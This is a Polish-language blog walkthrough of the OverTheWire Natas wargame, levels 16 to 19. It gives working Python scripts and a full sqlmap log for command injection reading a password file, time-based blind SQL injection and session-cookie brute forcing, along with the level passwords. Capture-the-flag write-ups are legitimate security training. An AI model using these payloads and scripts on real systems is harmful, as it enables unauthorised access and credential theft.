Natas, gra CTF 16-19

Natas, gra CTF 16-19

NATAS16:

Link do logowania: http://natas16.natas.labs.overthewire.org/index.php
Login: natas16, password: WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

Poziom przedstawia się następująco:

Najpierw sprawdzamy kod strony:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas16", "pass": "<censored>" };</script></head>
<body>
<h1>natas16</h1>
<div id="content">

For security reasons, we now filter even more on certain characters<br/><br/>
<form>
Find words containing: <input name=needle><input type=submit name=submit value=Search><br><br>
</form>


Output:
<pre>
<?
$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}
?>
</pre>

<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Kod strony jest bardzo zbliżony do zadania nr 9 i 10, z bardziej zaawansowaną jeszcze walidacją danych wejściowych.

if($key != "") {
    if(preg_match('/[;|&`\'"]/',$key)) {
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i \"$key\" dictionary.txt");
    }
}

Zadanie to podobnie do poprzedniego zwraca wartość True lub False dla zapytań w pliku, dlatego też możemy wykorzystać napisany poniżej skrypt do sprawdzania po kolei każdej litery hasła do kolejnego poziomu:

import requests
import sys
from string import digits, ascii_lowercase, ascii_uppercase

charset = ascii_lowercase + ascii_uppercase + digits
s = requests.Session()
s.auth = ('natas16', 'WaIHEacj63wnNIBROHeqi3p9t0m5nhmh')

password = ""
# Każde hasło składa się z 32 znakow
while len(password) < 32:
    for char in charset:
        payload = {'needle': '$(grep -E ^%s.* /etc/natas_webpass/natas17)' % (password + char)}
        r = s.get('http://natas16.natas.labs.overthewire.org/index.php', params=payload)

        if len(r.text) == 1105:
            sys.stdout.write(char)
            sys.stdout.flush()
            password += char
            break

Skrypt działa pod interpreterem python3, dlatego też niezbędne jest jego wywołanie komendą: python3 ./natas16.py
W trakcie wykonywania skryptu pojawiają się kolejne litery hasła do kolejnego 17 poziomu, które brzmi 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

NATAS17:

Link do strony: http://natas17.natas.labs.overthewire.org/index.php
Login: natas17, password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw

Podglądamy kod strony:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas17", "pass": "<censored>" };</script></head>
<body>
<h1>natas17</h1>
<div id="content">
<?

/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/

if(array_key_exists("username", $_REQUEST)) {
    $link = mysql_connect('localhost', 'natas17', '<censored>');
    mysql_select_db('natas17', $link);
    
    $query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
    if(array_key_exists("debug", $_GET)) {
        echo "Executing query: $query<br>";
    }

    $res = mysql_query($query, $link);
    if($res) {
    if(mysql_num_rows($res) > 0) {
        //echo "This user exists.<br>";
    } else {
        //echo "This user doesn't exist.<br>";
    }
    } else {
        //echo "Error in query.<br>";
    }

    mysql_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Strona jest podatna na atak SQL Injection w partciu o Time Based Attack, poniżej zapis z ataku przy pomocy sqlmap:

sqlmap --auth-type=basic --auth-cred=natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw -u http://natas17.natas.labs.overthewire.org/index.php --data="username=a" -p username --level=5 --user-agent=Mozilla --dbms=MySQL --threads 4 -D natas17 -T users --dump
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.1.11#stable}
|_ -| . [']     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 06:15:08

[06:15:09] [INFO] testing connection to the target URL
[06:15:11] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
[06:15:11] [INFO] testing if the target URL is stable
[06:15:11] [INFO] target URL is stable
[06:15:11] [WARNING] heuristic (basic) test shows that POST parameter 'username' might not be injectable
[06:15:11] [INFO] testing for SQL injection on POST parameter 'username'
[06:15:11] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[06:15:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (Generic comment)'
[06:15:35] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'
[06:15:36] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL) (original value)'
[06:15:36] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'
[06:15:36] [INFO] testing 'Boolean-based blind - Parameter replace (CASE) (original value)'
[06:15:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)'
[06:15:44] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause'
[06:15:57] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (MAKE_SET)'
[06:16:16] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (ELT)'
[06:16:28] [INFO] testing 'MySQL AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (bool*int)'
[06:16:41] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace'
[06:16:42] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace (original value)'
[06:16:42] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace'
[06:16:42] [INFO] testing 'MySQL < 5.0 boolean-based blind - Parameter replace (original value)'
[06:16:42] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET)'
[06:16:43] [INFO] testing 'MySQL boolean-based blind - Parameter replace (MAKE_SET - original value)'
[06:16:43] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT)'
[06:16:43] [INFO] testing 'MySQL boolean-based blind - Parameter replace (ELT - original value)'
[06:16:43] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int)'
[06:16:44] [INFO] testing 'MySQL boolean-based blind - Parameter replace (bool*int - original value)'
[06:16:44] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[06:16:45] [INFO] testing 'MySQL >= 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[06:16:45] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause'
[06:16:46] [INFO] testing 'MySQL < 5.0 boolean-based blind - ORDER BY, GROUP BY clause (original value)'
[06:16:46] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Stacked queries'
[06:16:57] [INFO] testing 'MySQL < 5.0 boolean-based blind - Stacked queries'
[06:17:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[06:17:15] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[06:17:23] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[06:17:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[06:17:38] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[06:17:46] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[06:17:54] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[06:18:01] [INFO] testing 'MySQL >= 5.1 error-based - PROCEDURE ANALYSE (EXTRACTVALUE)'
[06:18:07] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (BIGINT UNSIGNED)'
[06:18:07] [INFO] testing 'MySQL >= 5.5 error-based - Parameter replace (EXP)'
[06:18:07] [INFO] testing 'MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)'
[06:18:07] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[06:18:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (UPDATEXML)'
[06:18:07] [INFO] testing 'MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)'
[06:18:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (BIGINT UNSIGNED)'
[06:18:08] [INFO] testing 'MySQL >= 5.5 error-based - ORDER BY, GROUP BY clause (EXP)'
[06:18:08] [INFO] testing 'MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)'
[06:18:08] [INFO] testing 'MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[06:18:09] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)'
[06:18:09] [INFO] testing 'MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (UPDATEXML)'
[06:18:09] [INFO] testing 'MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)'
[06:18:10] [INFO] testing 'MySQL inline queries'
[06:18:10] [INFO] testing 'MySQL > 5.0.11 stacked queries (comment)'
[06:18:15] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[06:18:23] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP - comment)'
[06:18:29] [INFO] testing 'MySQL > 5.0.11 stacked queries (query SLEEP)'
[06:18:36] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind'
[06:18:43] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (comment)'
[06:18:52] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[06:19:03] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value? [Y/n] n
[06:20:05] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[06:20:05] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[06:20:07] [INFO] testing 'Generic UNION query (random number) - 1 to 20 columns'
[06:20:09] [INFO] testing 'Generic UNION query (NULL) - 21 to 40 columns'
[06:20:11] [INFO] testing 'Generic UNION query (random number) - 21 to 40 columns'
[06:20:13] [INFO] testing 'Generic UNION query (NULL) - 41 to 60 columns'
[06:20:15] [INFO] testing 'Generic UNION query (random number) - 41 to 60 columns'
[06:20:17] [INFO] testing 'Generic UNION query (NULL) - 61 to 80 columns'
[06:20:19] [INFO] testing 'Generic UNION query (random number) - 61 to 80 columns'
[06:20:21] [INFO] testing 'Generic UNION query (NULL) - 81 to 100 columns'
[06:20:23] [INFO] testing 'Generic UNION query (random number) - 81 to 100 columns'
[06:20:25] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[06:20:27] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns'
[06:20:29] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns'
[06:20:31] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns'
[06:20:33] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns'
[06:20:35] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns'
[06:20:37] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns'
[06:20:39] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns'
[06:20:41] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns'
[06:20:43] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns'
[06:20:45] [INFO] checking if the injection point on POST parameter 'username' is a false positive
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 1950 HTTP(s) requests:
---
Parameter: username (POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=a" AND (SELECT * FROM (SELECT(SLEEP(5)))QmuK)-- kSJS
---
[06:31:50] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8.0 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.12
[06:31:50] [INFO] fetching columns for table 'users' in database 'natas17'
[06:31:50] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[06:31:50] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[06:31:56] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
2
[06:41:30] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[06:41:48] [INFO] adjusting time delay to 1 second due to good response times
username
[06:42:14] [INFO] retrieved: password
[06:42:48] [INFO] fetching entries for table 'users' in database 'natas17'
[06:42:48] [INFO] fetching number of entries for table 'users' in database 'natas17'
[06:42:48] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
4
[06:42:52] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
0xjsNNjGvHkb7pwgC6PrAyLNT0
[06:45:11] [ERROR] invalid character detected. retrying..
[06:45:11] [WARNING] increasing time delay to 2 seconds
pYCqHd
[06:46:08] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
u
[06:46:29] [ERROR] invalid character detected. retrying..
[06:46:29] [WARNING] increasing time delay to 3 seconds
se
[06:47:09] [ERROR] invalid character detected. retrying..
[06:47:09] [WARNING] increasing time delay to 4 seconds
r1
[06:47:29] [INFO] retrieved: MeYdu6MbjewqcokG0kD4LrSsUZtfx
[06:57:21] [ERROR] invalid character detected. retrying..
[06:57:21] [WARNING] increasing time delay to 5 seconds
OQ
[06:58:11] [ERROR] invalid character detected. retrying..
[06:58:11] [WARNING] increasing time delay to 6 seconds
2
[06:58:30] [INFO] retrieved:
[06:59:08] [ERROR] invalid character detected. retrying..
[06:59:08] [WARNING] increasing time delay to 7 seconds
user2
[07:01:39] [INFO] confirming MySQL
[07:01:39] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[07:01:57] [INFO] adjusting time delay to 2 seconds due to good response times
[07:01:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 8.0 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL >= 5.0.0
[07:01:57] [INFO] fetching columns for table 'users' in database 'natas17'
[07:01:57] [INFO] resumed: 2
[07:01:57] [INFO] resumed: username
[07:01:57] [INFO] resumed: password
[07:01:57] [INFO] fetching entries for table 'users' in database 'natas17'
[07:01:57] [INFO] fetching number of entries for table 'users' in database 'natas17'
[07:01:57] [INFO] resumed: 4
[07:01:57] [INFO] resumed: 0xjsNNjGvHkb7pwgC6PrAyLNT0pYCqHd
[07:01:57] [INFO] resumed: user1
[07:01:57] [INFO] resumed: MeYdu6MbjewqcokG0kD4LrSsUZtfxOQ2
[07:01:57] [INFO] resumed: user2
[07:01:57] [WARNING] multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically
[07:01:57] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
[07:02:08] [INFO] adjusting time delay to 1 second due to good response times
V
[07:02:21] [ERROR] invalid character detected. retrying..
[07:02:21] [WARNING] increasing time delay to 2 seconds
OFWy9nHX9WUMo9Ei9WVKh8xLP1mrHKD
[07:07:05] [WARNING] (case) time-based comparison requires larger statistical model, please wait.............................. (done)
user3
[07:07:45] [INFO] retrieved: xvKIqDjy4OPv7wCRgDl
[07:10:49] [ERROR] invalid character detected. retrying..
[07:10:49] [WARNING] increasing time delay to 3 seconds
m
[07:11:24] [ERROR] invalid character detected. retrying..
[07:11:24] [WARNING] increasing time delay to 4 seconds
j0pFsCsDjhdP
[07:15:34] [INFO] retrieved: natas18
Database: natas17
Table: users
[4 entries]
+----------+----------------------------------+
| username | password                         |
+----------+----------------------------------+
| user1    | 0xjsNNjGvHkb7pwgC6PrAyLNT0pYCqHd |
| user2    | MeYdu6MbjewqcokG0kD4LrSsUZtfxOQ2 |
| user3    | VOFWy9nHX9WUMo9Ei9WVKh8xLP1mrHKD |
| natas18  | xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP |
+----------+----------------------------------+

Ten atak zajmuje naprawdę dużo czasu, zatem znalazłem w internecie skrypt pythona w wersji 3, który robi to znacznie sprawniej niż sqlmap:

import requests
import sys
from string import digits, ascii_lowercase, ascii_uppercase

charset = ascii_lowercase + ascii_uppercase + digits
sqli_1 = 'natas18" AND password LIKE BINARY "'
sqli_2 = '" AND SLEEP(5)-- '

s = requests.Session()
s.auth = ('natas17', '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw')

password = ""
# We assume that the password is 32 chars 
while len(password) < 32:
    for char in charset:
        try:
            payload = {'username':sqli_1 + password + char + "%" + sqli_2}
            r = s.post('http://natas17.natas.labs.overthewire.org/', data=payload, timeout=1)
        except requests.Timeout:
            sys.stdout.write(char)
            sys.stdout.flush()
            password += char
            break

Hasło do kolejnego poziomu to : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

NATAS18:

Link do strony: http://natas18.natas.labs.overthewire.org/index.php
Login : natas18, password : xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP

Kod strony jest widoczny poniżej:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas18", "pass": "<censored>" };</script></head>
<body>
<h1>natas18</h1>
<div id="content">
<?

$maxid = 640; // 640 should be enough for everyone

function isValidAdminLogin() { /* {{{ */
    if($_REQUEST["username"] == "admin") {
    /* This method of authentication appears to be unsafe and has been disabled for now. */
        //return 1;
    }

    return 0;
}
/* }}} */
function isValidID($id) { /* {{{ */
    return is_numeric($id);
}
/* }}} */
function createID($user) { /* {{{ */
    global $maxid;
    return rand(1, $maxid);
}
/* }}} */
function debug($msg) { /* {{{ */
    if(array_key_exists("debug", $_GET)) {
        print "DEBUG: $msg<br>";
    }
}
/* }}} */
function my_session_start() { /* {{{ */
    if(array_key_exists("PHPSESSID", $_COOKIE) and isValidID($_COOKIE["PHPSESSID"])) {
    if(!session_start()) {
        debug("Session start failed");
        return false;
    } else {
        debug("Session start ok");
        if(!array_key_exists("admin", $_SESSION)) {
        debug("Session was old: admin flag set");
        $_SESSION["admin"] = 0; // backwards compatible, secure
        }
        return true;
    }
    }

    return false;
}
/* }}} */
function print_credentials() { /* {{{ */
    if($_SESSION and array_key_exists("admin", $_SESSION) and $_SESSION["admin"] == 1) {
    print "You are an admin. The credentials for the next level are:<br>";
    print "<pre>Username: natas19\n";
    print "Password: <censored></pre>";
    } else {
    print "You are logged in as a regular user. Login as an admin to retrieve credentials for natas19.";
    }
}
/* }}} */

$showform = true;
if(my_session_start()) {
    print_credentials();
    $showform = false;
} else {
    if(array_key_exists("username", $_REQUEST) && array_key_exists("password", $_REQUEST)) {
    session_id(createID($_REQUEST["username"]));
    session_start();
    $_SESSION["admin"] = isValidAdminLogin();
    debug("New session started");
    $showform = false;
    print_credentials();
    }
} 

if($showform) {
?>

<p>
Please login with your admin account to retrieve credentials for natas19.
</p>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password"><br>
<input type="submit" value="Login" />
</form>
<? } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

Panel logowania zaprasza do zalogowania się na konto administratora. Po wpisaniu loginu admin i dowolnego hasła okazuje się, że zalogowani jesteśmy jako zwykły użytkownik.

Składnikiem, który decyduje o typie użytkownika jest ciastko o nazwie PHPSESSID, które może przyjmować wartości w przedziale od 0 do 640. Jeżeli ma poprawną wartość to będziemy zalogowani jako administrator.

Zadanie może być rozwiązane przy pomocy pakietu intruder programu BurpSuite lub przy pomocy poniższego skryptu w języku Python:

import requests

url = "http://natas18.natas.labs.overthewire.org"
url2 = "http://natas18.natas.labs.overthewire.org/index.php"

s = requests.Session()
s.auth = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP')
r = s.get(url)

for x in range(640):
    cookies = dict(PHPSESSID=str(x))
    r = s.get(url2, cookies=cookies)
    if "Login as an admin to retrieve" in r.text:
        pass
    else:
        print(r.text)
        break

Po odgadnięciu wartości ciasteczka otrzymujemy hasło do 19 poziomu.

You are an admin. The credentials for the next level are:

Username: natas19
Password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

NATAS19:

Link do zalogowania: http://natas19.natas.labs.overthewire.org/index.php
Login: natas19, password: 4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs

Zadanie podobne do poprzedniego, tutaj administrator zarzeka się, że parametr session ID nie jest już sekwencją. Logujemy się na stronę przy pomocy danych admin/admin:

Po zalogowaniu się jesteśmy zwykłym użytkownikiem, o tożsamości decyduje zmienna PHPSESSID , która tutaj posiada wartość: 3531302d61646d696e

Wartość ciastka wygląda na bardzo krótkie, spróbujemy sprawdzić czy wartość nie jest kodowana. Dekoder w ASCII Hex podaje wartość 510-admin. Zatem wartość ciastka przyjmuje wartości liczby od 0 do 640 po czym następuje ciąg -admin

Poniżej skrypt, który generuje zapytania do serwera dla poziomu natas19:

import requests
import binascii

url = "http://natas19.natas.labs.overthewire.org"

s = requests.Session()
s.auth = ('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs')

for x in range(1000):
        tmp = str(x) + "-admin"
        val = binascii.hexlify(tmp.encode('utf-8'))
        cookies = dict(PHPSESSID=val.decode('ascii'))
        r = s.get(url, cookies=cookies)
        if "Login as an admin to retrieve" in r.text:
                pass
        else:
                print(str(x))
                print(r.text)
                break

Po odgadnięciu liczby z początku rozkodowanej wartości ciasteczka następuje próba zalogowania na stronę. Wynik programu:

281
<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas19", "pass": "4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs" };</script></head>
<body>
<h1>natas19</h1>
<div id="content">
<p>
<b>
This page uses mostly the same code as the previous level, but session IDs are no longer sequential...
</b>
</p>
You are an admin. The credentials for the next level are:<br><pre>Username: natas20
Password: eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF</pre></div>
</body>
</html>

Wartość liczby przed słowem admin wynosi 281, zatem należy stworzyć ciąg 281-admin i zakodować go ASCII HEX, zatem wartość ciasteczka wynosi: 3238312d61646d696e

Sprawdzenie na stronie:

Hasło do kolejnego poziomu to : eofm3Wsshxc5bwtVnEuGIlr7ivb9KABF

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *